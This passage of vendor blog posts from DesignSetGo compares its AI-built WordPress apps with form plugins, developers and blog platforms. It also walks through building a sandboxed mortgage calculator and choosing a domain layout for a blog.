If you wantReach forA standard “fill in fields, get a number” form on a marketing page**Calculated Fields Form**A field set you can build by clicking, no JavaScript**Calculated Fields Form**A form that emails a quote, integrates with PayPal, or stores submissions in the WP database**Calculated Fields Form** (its email + Pro integrations are real)Math that depends on your actual WordPress posts, products, or taxonomies**DesignSetGo App**A custom-branded, visually-distinctive interactive widget (not a form layout)**DesignSetGo App**A configurator with non-form UI (sliders, swatches, drag-and-drop, custom canvas)**DesignSetGo App**A calculator that needs to call an AI model and reason about the answer**DesignSetGo App** (use `dsgo.ai.prompt()`)One bundle you ship to 30 client sites and update centrally**DesignSetGo App**A form replacement for Contact Form 7Neither, just use a contact-form plugin

CFF wins the “this is a form” cases. DesignSetGo wins the “this is a custom interface that happens to do math” cases. The line between them is *whether the UI is a stack of input fields*.

#### A worked example: the mortgage calculator

[Yesterday’s post](/blog/mortgage-calculator-real-estate-wordpress/) walked the DesignSetGo version of a mortgage calculator. Let me sketch the CFF version.

In CFF, you would build a form with:

- A number input for home price.

- A range slider for down payment percentage.

- A number input for interest rate.

- A dropdown for loan term (15 / 30).

- A calculated field for the monthly payment, with the formula `fieldname1 * (fieldname3/100/12) / (1 - (1 + fieldname3/100/12)^-((fieldname4)*12))` or close enough.

That works. It produces a number. It looks like a CFF form, with CFF’s default styling, in a “Form” block.

What it cannot easily do, by design:

- Pre-fill the home price from the listing post the form is embedded inside. CFF does not have native access to the parent post’s meta.

- Use your real estate theme’s exact colors and component vocabulary. You can override the form CSS, but you are styling against CFF’s class names.

- Add a custom CTA at the bottom that integrates with your CRM. You can email the form submission, but the CTA section is not part of the calculator’s UI.

- Replace the input layout with sliders and a custom visual breakdown. Possible with Pro and CSS, but it is a CSS-only path. The UI vocabulary is “form.”

The DesignSetGo version reads the listing price directly, ships in your colors, lets you put any UI you want underneath (Claude wrote a slider-driven payment breakdown that looks like a real-estate site, not a tax form), and embeds as a block that lives inside the listing.

Both are real calculators. They are not the same product.

#### The middle case: use both

This is the part people miss.

If your site has a “Request a quote” page with a long form, leads stored in WP, and an email confirmation, **CFF (or Gravity Forms) is the form**. That is its job.

The *calculator* embedded *above* the form (the interactive widget that helps the visitor figure out roughly what they need before filling in the form) is a DesignSetGo App. It pre-fills the form below it with `dsgo.dom.postMessage()` to the parent or by passing a query string to the form embed.

That is the layered version. The custom interactive thing on top, the durable form-handling underneath. They are complementary, not competing.

#### What CFF will always be better at

Three things, and they are not small:

- **Form submission handling.** CFF stores submissions in the WP database, sends email notifications, and integrates with PayPal, Mailchimp, and a list of CRMs. DesignSetGo Apps can send email through `dsgo.email.send()` (Pro, [scheduled tutorial in June](/blog/app-secrets-the-right-way/)), but the “form-as-a-data-pipeline” surface is CFF’s territory.

- **Click-to-build for non-coders.** CFF’s admin UI lets a non-developer build a working form without ever opening a code editor or AI tool. DesignSetGo’s authoring surface is “vibe-code with an AI.” For someone allergic to prompts, CFF is friendlier.

- **Twelve years of edge-case handling.** Phone validation, file uploads, GDPR consent fields, multi-step navigation, currency formatting per locale. CFF has implemented these and you can lean on it. A DesignSetGo App has whatever Claude wrote that morning.

#### What DesignSetGo Apps will always be better at

Three things, also not small:

- **Reading your actual site.** Posts, pages, products, taxonomies, the current user, the parent post the app is embedded in. None of that is in CFF’s vocabulary. It is the entire vocabulary of the bridge.

- **Custom UI that does not look like a form.** Sliders, swatches, drag-and-drop, custom canvases, interactive maps. CFF’s UI primitives are form fields. DesignSetGo’s UI primitive is “an HTML page Claude wrote.”

- **Distribution across many sites.** One bundle, one deploy command, multiple sites, central updates. CFF is per-site, configured in each admin.

#### How to decide in one question

> “Is the thing I am building shaped like a form?”

If yes, use CFF (or Gravity, or WPForms, or Fluent). They are all good at forms.

If no, the answer is probably a DesignSetGo App.

If the answer is “kind of, but with a custom interactive thing on top,” use both. CFF underneath, DesignSetGo on top, talking through the parent page DOM.

#### Further reading

- [Custom calculator plugin vs AI-built app](/blog/custom-calculator-plugin-vs-ai-built-app/): the broader version of this argument, with more calculator plugins compared.

- [How to add a mortgage calculator to a real-estate WordPress site](/blog/mortgage-calculator-real-estate-wordpress/): the worked example from above.

- [docs/competitive-review.md](https://github.com/DesignSetGo/designsetgo-apps/blob/main/docs/competitive-review.md): full positioning against the WordPress plugin landscape.

### Vibe coding vs hiring a WordPress developer: when each is the right call

URL: https://designsetgo.dev/blog/vibe-coding-vs-hiring-a-wordpress-developer/
Published: 2026-05-28 · Nealey

You have a WordPress site and a feature you want added. A calculator, a member dashboard, a custom storefront, a booking widget, an interactive intake form. Two paths on the table:

- Hire a WordPress developer. Pay $3,000 to $15,000. Get a quote, a contract, a kickoff call, a Slack channel, a staging site, six weeks. Get a working feature that someone has to maintain.

- Open Claude (or Cursor, ChatGPT, v0, Lovable, Bolt), describe the feature, ship the result. Pay $20 a month for the AI subscription. Get a working feature in an afternoon. Maintain it yourself, or not.

The internet currently sells these as opposing camps. They are not. Both are right in different situations, and the interesting cases are the ones where you use both.

This post is the honest decision table for a site owner trying to figure out which path they should actually be on, this week, for this feature. I am writing it as the person who runs the company that makes the “AI-built-app-to-WordPress” path one command. I am also writing it as someone whose product is the wrong choice for a real chunk of WordPress work. Both can be true.

#### When you should hire a WordPress developer

Five real cases where hiring a developer is the right call and AI is not:

- **The feature is a custom WordPress plugin in the proper sense.** Custom post types, custom REST endpoints, custom WP-CLI commands, hooks into WooCommerce checkout, server-side cron, a database table you own. AI can write PHP, but a custom plugin is also a maintenance contract with your site’s future. You want a human accountable to it.

- **The feature is “the whole site.”** Theme work, page templates, the site’s information architecture, SEO setup, accessibility audit, performance optimization. This is a multi-week project that pays back over years. Hire the developer (and probably a designer too).

- **The feature integrates deeply with a third-party SaaS through a server-side API.** Salesforce sync, NetSuite, HIPAA-bound systems, an ERP that requires an OAuth flow plus credential rotation plus error handling plus a queue. AI tools can scaffold the integration, but a senior developer is going to ship one you can sleep on.

- **The feature has to keep working in 2030.** If the feature is load-bearing for the business and you do not want to redo it every two years, hire someone whose job is to keep it running. Test coverage, deployment story, ownership.

- **Compliance and security are part of the requirements.** GDPR consent flows, PCI-adjacent payment handling, audit trails, ADA conformance with a signed attestation. These are not vibe-coded.

Notice what is common to those five: long horizons, deep integration, real risk if it breaks, requires accountability.

#### When you should vibe-code it

Five cases (probably more like fifteen) where hiring a developer is the wrong call and AI is right:

- **A calculator.** Mortgage, tip, ROI, BMI, TDEE, savings, paint coverage, freight quote. Any input-to-number widget. AI is excellent at this. Two hours of prompts beat two weeks of dev.

- **A custom front-end for data already in WordPress.** A pretty browse page over your `listing` CPT, a recipe filter that respects your taxonomy, a “courses I have access to” dashboard. Reads from WordPress, displays differently than WordPress’s default theme would.

- **An internal tool.** A dashboard your team uses, a content-audit grid, a lead-router, a copy-generator. Used by staff, not by visitors. The bar is “it does the job,” not “it has 99.99% uptime.”

- **A client portal or member dashboard.** Each user sees their own stuff, gated by login, no payment processing. A small piece of glue between WordPress identity and a small UI. The cathedral plugins ([previous post on this](https://designsetgo.dev/blog/how-to-create-a-members-area-on-wordpress-without-a-heavy-plugin/)) are too big for it.

- **A proof-of-concept.** Anything where the question is “is this thing useful at all.” Build it in a chat, put it in front of users, iterate or kill it. The economics flip entirely. The dev quote was for the version that survives. AI is for finding out if the survival case exists.

What these have in common: short horizons, narrow scope, low risk if they break, the requirements are knowable in one sitting. The AI is fine because the surface is small enough that you can read the whole thing.

#### The middle case: vibe-code the surface, hire for the foundation

This is the case the internet does not name and it is probably the right answer for half the people reading this.

The pattern: keep the developer for the WordPress *plumbing* (the theme, the custom post types, the integrations with the systems of record, the security review). Use AI for the *surfaces* (the calculator, the dashboard widget, the configurator, the intake wizard, the interactive thing the visitor actually touches).

The developer ships once a quarter. The AI surfaces ship every week, dropped into the site at `yoursite.com/apps/{slug}/` by the marketing person who had the idea.

This works because the WordPress side stays under expert care, and the experimental surface area lives in a sandbox where breaking it does not bring the site down. The marketing person can publish a new lead calculator on a Tuesday without booking the developer.

#### What “vibe-code it” actually costs

Honest math. Assume the feature is a custom mortgage calculator that reads listing prices from a real-estate CPT.

PathOne-time costOngoingCalendar timeCustom WordPress plugin from a freelance dev$3,000 to $8,000Bug-fix retainer or per-incident invoices4 to 8 weeksCalculated Fields Form Pro + CSS$99 / yearLicense renewal1 to 2 daysVibe-coded HTML file, dropped into wp-admin$20 / month for ClaudeNone if it works; redo if it does not1 to 2 hoursVibe-coded app shipped via DesignSetGo CLI$20/mo (AI) + $25/mo (DSGo Pro)Re-deploy on demand1 to 2 hours
If the feature works and stays in service for two years, the savings on the vibe-coded path are massive (~$5,000 vs ~$540). If the AI build is wrong and you redo it three times, you are at $60. Still cheaper than the developer quote.

The cost story changes when the feature has to integrate with payments, sync to Salesforce, or survive a WordPress core upgrade you did not test against. Then the developer’s quote stops looking expensive.

#### What the AI is bad at (and how the sandbox protects you)

Three things the AI gets wrong often enough that they are worth naming:

- **Subtle WordPress-specific bugs.** Hook timing, nonce handling, capability checks, REST permission callbacks. The AI writes plausible-looking PHP that fails on the third edge case. This is why DesignSetGo apps run as static HTML/JS bundles in a sandboxed iframe and talk to WordPress through a typed bridge. The bridge handles the WP-specific parts. The AI only writes the surface.

- **Long-context architecture.** A single feature, fine. Five features that share state, talk to each other, and need a coherent data model, the AI loses the thread. A human developer is better at “and how does this interact with the existing X.”

- **Security boundaries.** The AI will happily write code that loads a script from an unfamiliar CDN, leaks data through a `console.log`, or trusts client-side input it should not. The DesignSetGo sandbox catches the worst of this (CSP blocks unfamiliar fetches; the install dialog forces a permissions disclosure; bridge calls enforce per-method capability checks).

The framing matters: vibe-coding is reasonable *because* the surface is small and the boundary is enforced. If you ask Claude to write a plugin that ships PHP into your WordPress site and modifies the database, all bets are off. Ask Claude to write an HTML file that runs inside a sandbox with a permissioned bridge, and the failure modes are bounded.

#### How to decide in one question

> “If this feature broke at 2am, what would I do?”

If the answer is “wake up the developer who built it” or “call the support line of the SaaS we wired in,” you are in hire-a-developer territory.

If the answer is “shrug, the rest of the site still works, I will rebuild it tomorrow in the chat,” you are in vibe-code territory.

The middle case (“the calculator broke but the rest of the site is fine”) is the case where the sandbox earned its keep. The developer-built foundation kept running. The AI-built surface failed cleanly. You rebuild it on Tuesday and the site never went down.

#### Not a “fire your developer” post

If you have a developer who knows your site, keep them. Give them the WordPress half (themes, CPTs, integrations, security, anything load-bearing). Take the surface work off their plate and put it in a chat. Both of you ship more.

If you do not have a developer and you are about to hire one for a single calculator, [try the vibe-code path first](https://designsetgo.dev/quickstart/). You can always hire later if the feature graduates to something the AI cannot maintain.

#### Further reading

- [WordPress is the backend your vibe-coded app forgot it needed](https://designsetgo.dev/blog/wordpress-is-the-backend-your-vibe-coded-app-forgot-it-needed/): the architectural version of “use both.”

- [How to create a members area on WordPress without a heavy plugin](https://designsetgo.dev/blog/how-to-create-a-members-area-on-wordpress-without-a-heavy-plugin/): the worked example of the vibe-code-the-surface pattern.

- [Custom calculator plugin vs AI-built app](https://designsetgo.dev/blog/custom-calculator-plugin-vs-ai-built-app/): the same argument applied to calculators specifically.

- [docs/competitive-review.md](../docs/competitive-review.md): full positioning against the WordPress plugin and SaaS landscape.

### How to add a mortgage calculator to a real-estate WordPress site

URL: https://designsetgo.dev/blog/mortgage-calculator-real-estate-wordpress/
Published: 2026-05-28 · Nealey

If you run a real-estate WordPress site, you have already searched for a mortgage calculator plugin. There are dozens. They all look more or less the same: a sidebar widget that asks for a home price, a down payment, an interest rate, and a term. The visitor types in numbers a generic calculator already knows from the listing they are looking at, and the widget spits out a monthly payment.

Two things are wrong with that.

First, the visitor is on a listing page. The listing already has a price. Asking them to retype it is rude and conversion-killing.

Second, the calculator is a sidebar widget, not part of the listing. It does not feel like “Robert’s mortgage estimator for this $675,000 house.” It feels like an ad.

This post walks the DesignSetGo version. A mortgage calculator that lives *inside* the listing post, knows the listing’s price the moment it loads, and looks like part of your brand. Twenty minutes of work. No code you have to write by hand, if you do not want to.

#### What you are building

A Gutenberg block you can drop into any property listing. When the block renders, it reads the post’s `price` meta field (or a custom field, or the post title, depending on your theme), pre-fills the home price, and shows a monthly-payment breakdown with a slider for the down payment.

The calculator is your colors, your fonts, your CTA at the bottom (“Talk to me about financing this home”). It is also self-contained and sandboxed, so if the math is wrong the rest of your site is fine.

#### Step 1: scaffold the app

Two paths. Pick the one that matches your day.

**If you have Claude Code or Cursor open:**

```
npx designsetgo apps init mortgage-calc
cd mortgage-calc
```

The starter drops an `index.html`, `app.js`, `styles.css`, `dsgo-app.json`, and a `CLAUDE.md`. Open the folder in your editor with Claude Code. It will read the `CLAUDE.md` and know about the bridge before you type a prompt.

Prompt:

> Build a mortgage calculator app. On load, read the parent post’s `price` meta field with `dsgo.context.post()` and use it as the home price. Render inputs for down payment (slider, 0% to 30%), interest rate (default 7.0%), and loan term (15 or 30 years). Show the monthly principal and interest, plus a one-line summary “$X,XXX/mo on a 30-year fixed at 7.0% with $XX,XXX down.” Style it to look like part of a real-estate listing, not a tax form. Add a CTA at the bottom: “Talk to me about financing this home” linking to /contact.

Claude Code will write the app, the manifest, and the styles. Run `npx designsetgo apps deploy` and the calculator is live.

**If you would rather not open a terminal:**

Open Claude.ai (or ChatGPT, or any chat that produces HTML artifacts). Use the same prompt as above. When Claude finishes the artifact, click the download button and save it as `mortgage-calculator.html`. In wp-admin, go to **DesignSetGo Apps → Upload HTML**, pick the file, click upload. App live at `/apps/mortgage-calculator/` ten seconds later.

The [HTML upload flow](/blog/the-five-minute-i-have-an-html-file-path/) covers this path in detail.

#### Step 2: the manifest

Whichever path you took, the manifest looks like this:

```
{
  "manifest_version": 1,
  "id": "mortgage-calc",
  "name": "Mortgage Calculator",
  "version": "0.1.0",
  "entry": "index.html",
  "isolation": "iframe",
  "display": { "modes": ["block", "page"], "default": "block" },
  "permissions": { "read": ["post-context"], "write": [] },
  "runtime": { "sandbox": "strict", "external_origins": [] }
}
```

Two things to notice.

`display.modes` includes `"block"`. That is what makes the calculator appear in the Gutenberg block inserter so you can embed it inside a listing post.

`permissions.read` includes `"post-context"`. That is what lets the app see the parent post’s data (its title, its meta, its taxonomies) via `dsgo.context.post()`. Without that permission the call returns `null` and your calculator has nothing to pre-fill.

#### Step 3: read the listing price

The five lines that make this a *real-estate* calculator instead of a generic one:

```
import { dsgo } from '@designsetgo/app-client';
await dsgo.ready;

const ctx = await dsgo.context.post();
const listingPrice = Number(ctx?.meta?.price ?? ctx?.meta?._listing_price ?? 0);
```

Theme dependent. Most IDX themes (IDX Broker, ShowcaseIDX, RealtyPress) store the price as a meta field named `price`, `_listing_price`, or `_property_price`. If your theme uses ACF, it is whatever field name you picked. Worst case, you fall back to `0` and let the visitor type it themselves. Best case, the listing’s number is already in the input when the page loads.

#### Step 4: drop it into a listing

In the Gutenberg editor for any listing post, click the **+** to add a block. Search for “Mortgage.” Your app shows up in the picker (it inherited the block name from `manifest.name`). Click it. The calculator renders inline, reading the listing price you set in the post’s meta panel.

Save the post. View it. The calculator is there, pre-filled, in your colors, with your CTA. No sidebar widget, no generic styling, no “powered by SomeOtherCompany” footer.

#### What this beats

A generic IDX mortgage calculator plugin is doing one job: it has the math. The math is also two lines of JavaScript and Claude Code knew it before you typed the prompt.

What the generic plugin costs you:

- **Brand consistency.** Their colors, their fonts, their CTA (which is usually their own lead form, going to their CRM, not yours).

- **Conversion friction.** The visitor types in numbers the page already has.

- **Maintenance surface.** Another plugin to update, another author to trust, another set of admin pages.

What your DesignSetGo App costs you:

- Twenty minutes the first time. Five minutes the second time, because the prompt is now a template.

- One bundle to update if the rates change or you want a refinance variant.

- Zero new admin pages, because the app’s “settings” are the listing post’s meta, which you were editing anyway.

#### Where this goes

The mortgage calculator is one of three apps every real-estate site eventually wants. The other two: a **saved-search emailer** (read the visitor’s filter selections, save them per-user with `dsgo.storage.user.*`, send a digest), and a **listings browser** that reads your property CPT and renders a filterable grid. Both are vibe-codeable in an afternoon each. The listings browser gets [its own walkthrough on June 13](/blog/real-estate-listings-browser-inline-mode/) (inline mode, SEO-indexable, the headless-WP-killer config).

If you are an agent reading this and you want me to build the calculator with you, send me a link to a listing page and I will record the 20-minute walkthrough using your real listing.

#### Further reading

- [WordPress as a runtime](/blog/wordpress-as-a-runtime/): why apps live inside posts.

- [The bridge cookbook](/blog/the-bridge-cookbook-ten-patterns/): ten patterns including post-context reads.

- [BRIDGE-API.md `#context`](/docs/#bridge): the `dsgo.context.*` surface.

### Ghost, Substack, Hashnode, or WordPress for the blog on your vibe-coded site?

URL: https://designsetgo.dev/blog/2026-06-25-ghost-substack-hashnode-or-wordpress-for-vibe-coded-blog/
Published: 2026-05-27 · Nealey

You vibe-coded the site. The blog is the part you have not picked yet.

Four real contenders sit in the "I will host my blog here" decision for a small site: Substack, Ghost, Hashnode, WordPress. There are others (Medium, Bear, Mataroa, Write.as) but those four are where most people actually land.

This is not the generic "blog CMS comparison" you have read fifty of. The only question that matters here is which one fits behind a vibe-coded homepage without fighting it.

What "fits" means in that context:

- Posts at your own domain, not a vendor subdomain.

- A theme that does not eat your design system.

- An auth and identity story that does not duplicate the one on your site.

- A path forward when the blog needs to be more than a blog (signups, gated content, a member area, a custom tool).

#### The four contenders, honestly

##### Substack

The audience-first option. Newsletter as the primary product; the public archive on the web is a side effect.

- Free to start. Substack takes 10% of paid newsletter revenue if you ever turn paid on.

- Custom domains exist. The editor, the URL structure, and the audience experience are Substack's.

- The author owns the email list and can export it. That is the real product they sell you on.

- You cannot move the published URL structure cleanly. The Substack URL gravity is real.

Fits a vibe-coded site only if "blog" really means "newsletter that happens to have a public archive." If you have a search-engine-driven content strategy, the lock-in shows up later.

##### Ghost

The opinionated-modern option. Membership and paid newsletters built in. Used by a lot of indie writers and B2B SaaS marketing teams.

- Self-host (free, you manage the Node server) or Ghost Pro starting around $9/mo for a small site.

- The headless API is real and well-documented. You can call it from any front-end.

- The theme system is its own; non-trivial to migrate away from later.

Fits a vibe-coded site if you want a paid-newsletter business with one platform doing both the publishing and the membership, you accept another host (or Ghost Pro), and your audience already accepts Ghost-style URLs (or you build the member experience yourself against the API).

##### Hashnode

The dev-audience option. Strong for technical writing. Free with custom-domain support out of the box.

- Hosted only. No self-host path.

- Editor is good. Theming is limited compared to WordPress or Ghost.

- Built-in dev-community surface area (newsletters, series, dev.to-style discovery).

Fits a vibe-coded site if your audience is developers, you do not need a deep theme story, and you accept the platform's choices.

##### WordPress

The default. 40%+ of the web. Every host, every plugin, every editor your reader has already met.

- Free to use; pay for hosting (often $5 to $15/mo).

- Read and write API in core. Roles, capabilities, comments, RSS, sitemaps, scheduling, custom post types, full SEO plugin ecosystem.

- Self-hosted by default, which means you own the data and the URL structure permanently.

- The only one of the four that can also be the runtime for your vibe-coded site itself. The "blog vs site" decision collapses into one install. (See [the pillar post](https://designsetgo.dev/blog/2026-06-23-keep-wordpress-for-blog-vibe-code-the-rest/).)

#### The comparison on eight axes

Substack
Ghost
Hashnode
WordPress

Own your domain
yes
yes
yes
yes

Own your data
partial (export available)
yes self-host, partial Pro
partial (export available)
yes

Custom theming depth
minimal
moderate
minimal
unlimited

Self-hostable
no
yes
no
yes

Headless API
limited
yes
yes
yes

Can also host the front-end
no
no
no
yes (via DSGo Apps)

Price floor
free, 10% of paid
$9/mo Pro
free
free + hosting

Lock-in cost if you leave
medium
low self-host, medium Pro
medium
low (export to anything)

#### How to decide in plain English

- **Newsletter business with paid tiers; the blog archive is a byproduct.** Substack. Take the lock-in tax because audience-ownership-without-a-list is a bigger tax somewhere else.

- **Membership content business, dev or founder readers, want one platform for publishing and memberships.** Ghost.

- **Developer audience, do not want to run servers, want decent SEO and a free price floor.** Hashnode.

- **Blog is one channel on a real business website you actually own.** WordPress. Especially if the homepage is a vibe-coded interface you want to keep iterating on, because WordPress is the only one of the four that can also host that interface inside the same install.

#### Why "WordPress" is not the lazy answer here

The standard critique of WordPress is "the admin is ugly, the themes look dated, the plugin pile-on is real." Each is true. None of them matters for the blog half of a vibe-coded site:

- Your reader never sees wp-admin. Only the editor does.

- The blog's theme can be deliberately plain. The front-end of your site is the brand surface, not `/blog`.

- You do not need thirty plugins. You need an SEO plugin, a backup plugin, an anti-spam plugin, and the editor.

The argument for Substack, Ghost, or Hashnode over WordPress is usually "I do not want to deal with WordPress." That is a real preference and a legitimate reason. The argument for WordPress in this specific scenario (vibe-coded front-end plus a blog) is that you avoid the second host, the second login, the second domain authority, and the second theme drift.

The "I do not want to deal with WordPress" tax shows up later, when you want a member area, gated content, an event registration, a custom calculator, or an AI content tool that uses the same provider your site already pays for. WordPress lets you keep building. The hosted blogs do not.

#### Worked examples

**B2B SaaS founder, v0-built product site.** Marketing pages: pricing, features, about, contact, blog. Wants the blog now. Audience is other founders.

- Substack if the newsletter game is the goal and the list is the asset.

- WordPress if product-content marketing is the goal and the blog is one of several growth surfaces.

**Solo dev shipping in Astro and Claude Code.** Wants to publish about the project. Audience is dev-curious.

- Hashnode if they like the platform and want zero infrastructure.

- WordPress if they have already committed to Astro and want one stack. Astro renders the marketing pages as a DSGo app; WordPress renders `/blog` under the same install. The pillar post walks the setup.

**Coach with an existing audience and a Lovable site.** Publishes weekly. Small list. Wants gated content eventually.

- Ghost if they want one platform to handle membership.

- WordPress if they want plugin flexibility (Memberful, Restrict Content Pro, MemberPress) and are willing to wire it themselves.

The honest tie-breaker in the last one is who is going to maintain it. Ghost takes maintenance off the list. WordPress puts it on.

#### The thing nobody says out loud

The most useful thing about picking a blog CMS for a vibe-coded site is realizing the question is not really Substack vs Ghost vs Hashnode vs WordPress.

It is: do I want my blog to be its own product, or part of my actual website?

Substack, Ghost, and Hashnode are different versions of "my blog is the product." They are designed to be the primary surface, the place the reader goes, the brand. The website is sometimes an afterthought to the publication.

WordPress is the only one of the four that lets the blog be part of the site without becoming the site. Especially when the site itself is a vibe-coded thing you want to keep iterating on without renegotiating a CMS.

Pick the one whose lock-in you are willing to live with.

#### Related reading

- [Keep WordPress for the blog, vibe-code the rest? Try one site instead of two.](https://designsetgo.dev/blog/2026-06-23-keep-wordpress-for-blog-vibe-code-the-rest/) is the pillar post for the one-site shape.

- [blog.yoursite.com or yoursite.com/blog? A decision for your vibe-coded site](https://designsetgo.dev/blog/2026-06-24-blog-subdomain-or-subdirectory-for-vibe-coded-sites/) covers the follow-up plumbing question once you have picked WordPress.

- [WordPress is the backend your vibe-coded app forgot it needed](https://designsetgo.dev/blog/31-wordpress-is-the-backend-your-vibe-coded-app-forgot-it-needed/) is the broader version of the WordPress argument here.

- [What AI builders get wrong about WordPress](https://designsetgo.dev/blog/35-what-ai-builders-get-wrong-about-wordpress/) explains why "old, slow, PHP" misses the point.

### blog.yoursite.com or yoursite.com/blog? A decision for your vibe-coded site

URL: https://designsetgo.dev/blog/2026-06-24-blog-subdomain-or-subdirectory-for-vibe-coded-sites/
Published: 2026-05-27 · Nealey

You picked WordPress for the blog half of your vibe-coded site. The next decision is where that WordPress install actually lives on the domain.

There are three real answers. They behave very differently. SEO people, devops people, and your future self all weigh them differently.

This post is the comparison and the recommendation.

#### Option A: subdomain (`blog.yoursite.com`)

The simplest plumbing of the three. Two DNS records. Two hosts. WordPress on one, your vibe-coded front-end on the other. No proxy logic.

What you pay for that simplicity:

- **Worst SEO** of the three options. Google treats subdomains as related-but-not-the-same authority. Your homepage backlinks do not fully carry into the blog's domain authority and vice versa. People will argue with this; the working assumption in the SEO trade for ten years has been "same domain beats subdomain when you can choose."

- **Cookie scope splits.** A session cookie set on `yoursite.com` does not get sent to `blog.yoursite.com` unless you explicitly scope it to `.yoursite.com` and arrange the headers carefully. Signed-in readers on the homepage are not signed in on the blog without extra glue.

- **Two analytics setups**, two consent banners, two cookie policies, two tag managers. You will copy goals between them and they will go out of sync.

- **Two SSL certs**, two DNS records, two backup schedules. Often automated, still two.

- **Hardest to undo.** Once `blog.yoursite.com/post-slug` URLs are indexed and linked, migrating to `yoursite.com/blog/post-slug` is a redirect map and a six-month traffic dip.

Pick subdomain if you already have it shipped, or if your hosting setup makes Options B and C impractical.

#### Option B: subdirectory reverse proxy (`yoursite.com/blog`)

A separate WordPress instance, but the public URL is on the main domain. A reverse proxy at the edge (Cloudflare Workers, Vercel rewrites, Nginx, Caddy) forwards `/blog/*` to the WordPress host.

What you get:

- **Same-domain SEO.** The blog's link equity and the homepage's link equity stack.

- **Shared cookies** if you set them up to share. The browser sees one origin.

- **One analytics property** with cleaner attribution.

What you pay for that:

- **A reverse proxy you have to maintain.** Rewrite rules, edge caching headers, hostname rewriting in the response body. Six months from now, when something breaks, you will have to remember why the Cloudflare Worker exists.

- **WordPress has to "think" it lives at /blog.** Set `WP_HOME` and `WP_SITEURL` to `https://yoursite.com/blog`. Set permalinks consistent with that prefix. Some plugins hardcode their own URLs and need patching. Some assume they are at the site root and emit broken asset paths.

- **Asset path leaks** are the recurring bug. A plugin emits `/wp-content/plugins/foo/style.css`. Your proxy only forwards `/blog/*`. The CSS 404s. You either also forward `/wp-content/*` (now WP owns half the URL space at the edge) or you patch the plugin.

- **Two hosts to bill, two hosts to back up.** Cheaper than Option A in one place: the front-end host can be a static CDN with no per-seat fee.

Pick subdirectory reverse proxy if you already have a front-end on Webflow, Framer, Vercel, or similar that you are not migrating, and you need a WordPress blog under the same domain.

#### Option C: one WordPress install hosting the front-end too

This is the shape covered in [the pillar post](https://designsetgo.dev/blog/2026-06-23-keep-wordpress-for-blog-vibe-code-the-rest/). Your vibe-coded front-end deploys into the WordPress install as a DesignSetGo App with `mount.mode: "root"`. WordPress serves `/blog`, `/wp-admin`, `/wp-json`, `/feed`. The app serves every URL you declare for the front-end.

What you get:

- **One origin, one cert, one database, one analytics, one sitemap, one auth.**

- **Best SEO of the three.** Single domain, no proxy gymnastics, no rewrites that could leak paths.

- **No reverse proxy to maintain.** The dispatch happens inside WordPress on a request-by-request basis.

- **No theme drift**, because there is no second site to drift toward. The blog can import the same CSS variables the front-end uses.

What you pay for that:

- **WordPress is your only host.** If you specifically wanted the front-end on Vercel for its edge cache, this is not that. Most static front-ends do not actually need Vercel's edge cache; a half-decent WordPress host with a CDN in front is fine for a marketing site that updates monthly.

- **CLI deploy is a Pro feature.** Free DesignSetGo Apps lets you upload one app through the admin HTML importer; Pro at $149.99/year per site adds `designsetgo apps deploy` from Claude Code or Cursor, the in-admin AI builder, scheduled jobs, webhooks, and unlimited apps. The 14-day Pro trial activates on install with no card.

- **One root-mounted app per site.** Deliberate constraint. A second large surface mounts at a prefix.

Pick this if you are starting fresh, or if the existing front-end host is something you would happily turn off.

#### The comparison on six axes

A: subdomain
B: subdirectory proxy
C: one WP install

SEO domain authority
weakest
shared
shared

Cookies / sessions
split
shared
shared

Reverse proxy to maintain
none
yes
none

Theme drift risk
high
medium
none

SSL certs to manage
two
two
one

Hosts to bill
two
two
one

Cost of undoing later
high
medium
low

#### Worked examples

**A wedding photographer's site.** Portfolio, pricing, contact, and about were vibe-coded in Lovable. Looks great. Builds to static HTML. The blog is wedding stories with embedded galleries, ten posts a year, written in Gutenberg. One brand, the buttons should match.

Choice: Option C. Deploy the Lovable export as a DSGo App with `mount.mode: "root"`. WP serves `/blog`. The blog's theme imports the same CSS variables the Lovable export uses. Same nav, same footer, edited from wp-admin.

**A consultancy with an existing Webflow homepage.** Already on Webflow, paying for it, no migration appetite. Needs a blog now.

Choice: Option B. Run a small WordPress at `wp.consultancy.com`. Reverse-proxy `consultancy.com/blog` to `wp.consultancy.com`. Set `WP_HOME` and `WP_SITEURL` to `https://consultancy.com/blog`. Use an SEO plugin that respects the proxy. Webflow stays the front-end. Migration to Option C is a future decision when the Webflow site needs a refresh anyway.

**A solo founder shipping a side project.** Vibe-coded the homepage in a Claude Code session over a weekend. Wants a blog because their last side project died from no SEO. Has zero appetite to maintain a reverse proxy.

Choice: Option C. The Claude Code project is already a static build. One CLI deploy puts it inside a WordPress install. The blog stays at `/blog` and the founder never thinks about it again unless they publish something.

#### How to decide in one minute

- Already shipped on a subdomain? Stay on the subdomain unless SEO is the reason you are reading this.

- Front-end already on a CDN you are paying for and happy with? Option B.

- Starting fresh, want one bill, want one auth? Option C.

- The blog is the centerpiece, not the homepage? Reconsider whether you needed a separate vibe-coded site at all; WordPress with a good theme might be the whole answer.

#### Related reading

- [Keep WordPress for the blog, vibe-code the rest? Try one site instead of two.](https://designsetgo.dev/blog/2026-06-23-keep-wordpress-for-blog-vibe-code-the-rest/) is the pillar post this decision sits inside.

- [Ghost, Substack, Hashnode, or WordPress for the blog on your vibe-coded site?](https://designsetgo.dev/blog/2026-06-25-ghost-substack-hashnode-or-wordpress-for-vibe-coded-blog/) covers the prior decision: not just where WordPress lives, but whether you even want WordPress.

- [DesignSetGo vs headless WordPress](https://designsetgo.dev/blog/16-dsgo-vs-headless-wordpress/) makes the architectural argument for one origin.

### Keep WordPress for the blog, vibe-code the rest? Try one site instead of two.

URL: https://designsetgo.dev/blog/2026-06-23-keep-wordpress-for-blog-vibe-code-the-rest/
Published: 2026-05-27 · Nealey

You vibe-coded your homepage. Maybe in Lovable. Maybe v0. Maybe Claude Code or Cursor with an Astro project. The interface came out good enough that you stopped reaching for a theme.

You also want a blog. Not because you love writing one. Because Google still rewards a real one, your customers still expect a `Blog` link in the footer, and your competitors are still publishing.

WordPress is the default answer for the blog half. Open-source, every host on Earth runs it, every plugin you might want already exists, every editor your client has ever met starts with wp-admin.

The natural plan then becomes: **two sites.** Your vibe-coded thing on Vercel or Netlify or wherever. A separate WordPress install for the blog, on a subdomain or behind a reverse proxy.

That plan is not wrong, exactly. It is more expensive and more fragile than people remember, and there is a one-site shape that costs less and breaks less. This post is about both.

#### Why the two-site plan starts looking attractive

It feels modular. The front-end is yours. The blog is WordPress doing what WordPress is good at. You imagine you can change either side without touching the other.

